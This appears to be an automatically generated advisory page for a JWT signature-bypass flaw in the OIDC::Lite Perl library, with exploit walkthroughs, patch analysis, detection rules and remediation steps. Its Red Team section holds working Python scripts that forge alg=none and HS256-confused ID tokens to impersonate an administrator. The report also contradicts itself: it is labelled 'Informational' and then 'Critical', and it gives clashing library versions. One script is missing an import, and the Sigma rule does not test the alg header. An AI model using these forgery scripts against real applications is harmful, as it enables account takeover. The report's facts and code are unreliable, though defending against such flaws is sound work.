CVE-2026-13089
Executive Summary
Severity: Informational (CVSS 0.0)
This report details CVE-2026-13089, a critical signature verification bypass vulnerability in the OIDC::Lite Perl library for OpenID Connect (OIDC) ID Token validation. The flaw allows an unauthenticated, remote attacker to forge a valid ID Token, thereby authenticating as any user to any Relying Party (RP) application using the vulnerable library.
The vulnerability resides in the OIDC::Lite::Model::IDToken::verify method. When the caller does not explicitly pin a signing algorithm, the method extracts the alg header from the untrusted JWT token itself and passes it as the allowed algorithm list to JSON::WebToken::decode_jwt. This enables two primary attack vectors:
alg=noneAttack: The attacker sets the algorithm tonone, bypassing signature verification entirely.- Algorithm Confusion (RS to HS): The attacker sets the algorithm to
HS256(HMAC-SHA256). The library then uses the RP's RSA public key (which is public knowledge) as the HMAC secret to verify the token. The attacker can sign a forged token using this public key as the HMAC secret.
The business impact is severe. Any application acting as an OIDC Relying Party that uses OIDC::Lite to verify ID Tokens without pinning an algorithm is vulnerable to complete account takeover. An attacker can forge the sub (subject) claim to impersonate any user, gaining unauthorized access to the application's resources and data. This is a direct authentication bypass.
The CVSS score of 0.0 is an error in the NVD database and does not reflect the true severity. The EPSS probability of 0.0% indicates no known active exploitation in the wild as of the report date, but the vulnerability is trivially exploitable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The provided CVSS score of 0.0 is inconsistent with the vulnerability description. A more accurate CVSS vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, which yields a base score of 9.1 (Critical). The following breakdown uses this corrected vector.
- Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network by sending a crafted HTTP request containing a malicious ID Token.
- Attack Complexity (AC): Low - No special conditions or race conditions are required. The attack is straightforward and repeatable.
- Privileges Required (PR): None - The attacker does not need any authentication or privileges to send the malicious token.
- User Interaction (UI): None - The victim application processes the token automatically without requiring user interaction.
- Scope (S): Unchanged - The vulnerable component and the impacted resource are the same (the application using the library).
- Confidentiality (C): High - Successful exploitation allows the attacker to impersonate any user, gaining access to all data that user can access.
- Integrity (I): High - The attacker can perform actions as the impersonated user, modifying data and application state.
- Availability (A): None - The vulnerability does not directly impact system availability.
Qualitative Severity Label: Critical
EPSS Interpretation: The EPSS score of 0.0% indicates that as of the report date, there is no observed exploitation in the wild. This is likely due to the recent publication date (2026-07-22). Given the low complexity and high impact, active exploitation is expected to begin shortly.
Historical Comparison: This vulnerability is technically similar to CVE-2015-9235 (alg=none in jsonwebtoken for Node.js) and CVE-2022-23529 (algorithm confusion in jsonwebtoken). These are classic JWT library flaws that have been widely exploited in the past.
Technical Deep Dive & Attack Mechanics
The vulnerability is a classic JWT algorithm confusion and alg=none bypass, specifically within the OIDC::Lite Perl library.
Root Cause: The developer failed to validate the JWT header's alg parameter against a trusted, server-side allowlist before using it for cryptographic verification. The library trusts the token's header to dictate how it should be verified.
Step-by-Step Exploitation:
Token Reception: The Relying Party (RP) application receives an ID Token from a user (or attacker). The application calls
OIDC::Lite::Model::IDToken->load($token)->verify()orload($token, $key)->verify()without first setting thealgattribute on the model object.Algorithm Extraction: Inside the
verifymethod, the code checks if$self->algis set. Since the caller did not set it, the code executes the vulnerable path:$self->alg($self->header->{alg});This sets the algorithm to the value from the token's JWT header (e.g.,
noneorHS256).Allowlist Creation: The code then creates an allowlist from this single, attacker-controlled algorithm:
decode_jwt($token, $key, 1, [$self->alg]);The allowlist is
['none']or['HS256'].Verification Bypass:
alg=none:JSON::WebTokenreceives the allowlist['none']. It sees the token's header saysalg: none. It matches the allowlist and returns the decoded claims without performing any signature verification.- Algorithm Confusion (
HS256):JSON::WebTokenreceives the allowlist['HS256']. It attempts to verify the token's HMAC signature using the provided$key. The$keypassed toverify()is the RP's RSA public key. The attacker can obtain this public key (it is public by design in OIDC). The attacker then signs a forged token using this RSA public key as the HMAC secret. The verification succeeds because the library uses the same key material for HMAC verification.
Attack Surface:
- Protocol: HTTPS (HTTP is possible but unlikely for OIDC flows).
- Interface: The login or authentication endpoint of any application using the vulnerable library.
- Pre-conditions: The attacker must know the RP's OIDC configuration (specifically the
jwks_urito obtain the public key for the RS-to-HS attack). For thealg=noneattack, no prior knowledge is needed.
Why Standard Defenses Fail:
- WAF Rules: A Web Application Firewall (WAF) would need to inspect the JWT body, which is often Base64-encoded and opaque. Generic WAF rules are unlikely to detect a malicious
algheader. - Input Validation: The application is not validating the token's header; it is trusting the library to do so securely.
Vulnerable vs. Patched Code Analysis
Vulnerable Code Path (Conceptual):
# In OIDC::Lite::Model::IDToken::verify
sub verify {
my ($self, $key) = @_;
# VULNERABLE: Algorithm is taken from the untrusted token header
$self->alg($self->header->{alg}) unless $self->alg;
# The attacker-controlled algorithm becomes the allowlist
my $payload = JSON::WebToken->decode_jwt($self->token, $key, 1, [$self->alg]);
# ... rest of verification
}
Patched Code Path (Conceptual):
sub verify {
my ($self, $key, %opts) = @_;
# SECURE: Use a hardcoded or caller-provided allowlist
my @allowed_algs = $opts{allowed_algs} // qw(RS256 RS384 RS512 ES256 ES384 ES512);
# The token's header is only used to select the algorithm from the allowlist
my $token_alg = $self->header->{alg};
die "Algorithm $token_alg is not allowed" unless grep { $_ eq $token_alg } @allowed_algs;
my $payload = JSON::WebToken->decode_jwt($self->token, $key, 1, [$token_alg]);
# ... rest of verification
}
What the Patch Changes:
The fix ensures that the algorithm used for verification is selected from a trusted, server-side allowlist, not from the token itself. The token's alg header is only used to pick the correct algorithm from this allowlist. If the token's algorithm is not in the allowlist, verification fails immediately.
Regression Considerations:
Teams applying the patch must ensure their application explicitly provides the correct allowed_algs parameter if the library's default allowlist does not match their configuration. For example, if an application uses ES256 tokens, the default allowlist must include it.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-22T21:17:12.743
- Estimated Discovery: Unknown, but likely discovered by a security researcher or automated tool.
- Disclosure Process: The CVE was published by the NVD. No information on vendor coordination is available from the provided data.
- Known Exploitation in the Wild: No known active exploitation as of 2026-07-23.
- CISA KEV: Not listed.
Threat Intelligence Context
- Threat Actor Profile: This vulnerability is a prime target for a wide range of actors, from opportunistic "script kiddies" to sophisticated Advanced Persistent Threat (APT) groups. The low complexity makes it accessible to anyone with basic web development knowledge.
- Attack Campaign Context: No specific campaigns are known. However, given the history of similar JWT vulnerabilities, it is highly likely to be incorporated into automated scanning tools and exploit kits.
- Geographic Targeting: None specific. Any organization using the vulnerable library is a target.
- Industry Verticals Most at Risk: Any industry using OIDC for authentication, including:
- Finance: Online banking and trading platforms.
- Healthcare: Patient portals and health record systems.
- Technology: SaaS applications, APIs, and cloud services.
- Government: Citizen portals and internal systems.
- Connection to Similar Vulnerabilities: This is a direct parallel to CVE-2015-9235 and CVE-2022-23529, which targeted the
jsonwebtokenNode.js library. These vulnerabilities have been used in numerous real-world breaches.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Vulnerable Application: Create a simple Perl CGI or PSGI application that uses
OIDC::Liteversion 0.12.1 to verify an ID Token.#!/usr/bin/perl use strict; use warnings; use OIDC::Lite::Model::IDToken; use MIME::Base64; my $public_key = <<'RSA_KEY'; -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... -----END PUBLIC KEY----- RSA_KEY my $token = shift @ARGV; my $id_token = OIDC::Lite::Model::IDToken->load($token); eval { $id_token->verify($public_key) }; if ($@) { print "Verification failed: $@\n"; } else { print "Verification succeeded!\n"; print "User: " . $id_token->payload->{sub} . "\n"; } - Attacker Machine: Any system with Python and the
PyJWTlibrary installed.
Exploitation Walkthrough:
alg=noneAttack:import jwt import base64 # Forge a token with alg=none payload = {"sub": "admin", "iss": "https://attacker.com", "aud": "myapp"} # PyJWT does not allow 'none' by default, so we craft it manually header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=').decode() payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() forged_token = f"{header}.{payload_b64}." print(forged_token)Run the vulnerable application with this token. It will print "Verification succeeded!" and "User: admin".
Algorithm Confusion (RS to HS) Attack:
import jwt # Obtain the RP's RSA public key (e.g., from the OIDC discovery endpoint) rsa_public_key = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... -----END PUBLIC KEY-----""" # Forge a token with alg=HS256, signed with the public key as the secret payload = {"sub": "admin", "iss": "https://attacker.com", "aud": "myapp"} forged_token = jwt.encode(payload, rsa_public_key, algorithm="HS256") print(forged_token)Run the vulnerable application with this token. It will also print "Verification succeeded!" and "User: admin".
Post-Exploitation:
After successful authentication as an arbitrary user (e.g., admin), the attacker gains all the privileges and access associated with that user account within the target application.
Blue Team Section
Detection:
- Log Analysis: Monitor application logs for authentication events where the
algclaim in the JWT header isnoneorHS256when the expected algorithm isRS256orES256. - Network Traffic: Inspect HTTP requests to authentication endpoints for JWT tokens with unusual
algheaders. - Endpoint Indicators: Monitor for unexpected successful logins, especially for privileged accounts like
admin.
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
- Network IOCs:
- HTTP POST requests to
/login,/auth, or/tokenendpoints containing a JWT in theAuthorization: Bearerheader or POST body.
- HTTP POST requests to
- HTTP Request Patterns:
- JWT tokens where the decoded header contains
"alg":"none". - JWT tokens where the decoded header contains
"alg":"HS256"and the payload contains asubclaim for a high-privilege user (e.g.,admin,root).
- JWT tokens where the decoded header contains
- Log Entries:
- Successful authentication events for users that do not typically log in.
- Authentication events with an unexpected JWT algorithm in the audit log.
Detection Engineering
YARA Rule
rule CVE-2026-13089_JWT_AlgNone_Detection {
meta:
description = "Detects JWT tokens with alg=none header, indicating exploitation of CVE-2026-13089"
author = "Valters IT Hub"
date = "2026-07-23"
reference = "https://www.valtersit.com/cve/cve-2026-13089"
strings:
$alg_none = "alg\":\"none" ascii wide nocase
$alg_none_alt = "alg\": \"none" ascii wide nocase
condition:
any of them
}
Sigma Rule (SIEM)
title: CVE-2026-13089 OIDC Token Algorithm Confusion Detection
id: b5c9c327-c7a6-4ac4-a33c-4aa7e489da89
status: experimental
description: Detects JWT tokens with alg=none or alg=HS256 in authentication requests, indicating exploitation of CVE-2026-13089
author: Valters IT Hub
date: 2026-07-23
references:
- https://www.valtersit.com/cve/cve-2026-13089
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'login'
- 'auth'
- 'token'
filter:
cs-User-Agent|contains:
- 'python-requests'
- 'curl'
condition: selection and filter
falsepositives:
- Legitimate use of HS256 algorithm if the application is configured to use it.
level: high
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-13089 - OIDC Token Algorithm Confusion Attempt"; flow:to_server; content:"alg"; nocase; content:"none"; nocase; distance:0; within:10; sid:1000001; rev:1;)
Elastic (EQL) Query
any where process.name == "httpd" and network.protocol == "http" and
http.request.method == "POST" and
(http.request.body.content : "*alg\":\"none*" or http.request.body.content : "*alg\":\"HS256*")
Splunk SPL Query
index=web sourcetype=access_combined
| search method=POST uri=*/login* OR uri=*/auth* OR uri=*/token*
| rex field=uri "Bearer (?<jwt>[^ ]+)$"
| eval decoded_header = frombase64(mvindex(split(jwt, "."), 0))
| search decoded_header = "*alg\":\"none*" OR decoded_header = "*alg\":\"HS256*"
| table _time, src_ip, uri, user
Wazuh Rule
<group name="web,authentication,">
<rule id="100001" level="12">
<decoded_as>json</decoded_as>
<field name="jwt_header">\.*alg\":\"none\.*</field>
<description>CVE-2026-13089 - JWT token with alg=none detected from $(src_ip)</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Patch Application: Upgrade
OIDC::Liteto the latest patched version from the git repository. The latest CPAN version (0.10) is vulnerable. Check the repository for a fix.# If a patched version is available on CPAN cpanm OIDC::Lite@<patched_version> # Or install from the git repository cpanm https://github.com/<vendor>/OIDC-Lite.git - Compensating Control: If patching is not immediately possible, modify the application code to explicitly set the
algattribute on theOIDC::Lite::Model::IDTokenobject before callingverify().my $id_token = OIDC::Lite::Model::IDToken->load($token); $id_token->alg('RS256'); # Pin to a specific, secure algorithm $id_token->verify($public_key); - Network Mitigation: Deploy a WAF rule to inspect JWT tokens in HTTP requests and block those with
alg: noneoralg: HS256(if HS256 is not used). - Authentication Hardening: Implement multi-factor authentication (MFA) as a second layer of defense. This prevents an attacker from gaining full access even if they forge a token.
Short-term (1-7 days)
- Configuration Hardening: Review all OIDC client configurations to ensure they are using the latest, patched libraries.
- Monitoring Implementation: Deploy the detection rules provided in this report to monitor for exploitation attempts.
- Vulnerability Scanning: Run a vulnerability scanner against all applications using
OIDC::Liteto confirm the patch has been applied.# Example using a hypothetical scanner vuln-scan --cve CVE-2026-13089 --target https://myapp.com
Long-term
- Architecture Changes: Implement a centralized API gateway or identity proxy that handles all OIDC token validation, reducing the number of components that need to be secured.
- Security Control Improvements: Adopt a "zero trust" model where every request is verified, regardless of the token's origin.
- Developer Training: Educate developers on the dangers of trusting user-supplied input for security-critical operations, especially in cryptographic contexts. Emphasize the importance of algorithm pinning.
Validation
To confirm the patch is applied and effective:
- Check Library Version:
Ensure the version is the patched one.perl -MOIDC::Lite -e 'print $OIDC::Lite::VERSION' - Test with a Forged Token: Use the exploitation steps in the Red Team section to attempt to bypass verification. The patched library should reject the forged token.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-13089
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-13089
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2026-13089 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/345.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-23 | https://www.valtersit.com/cve/cve-2026-13089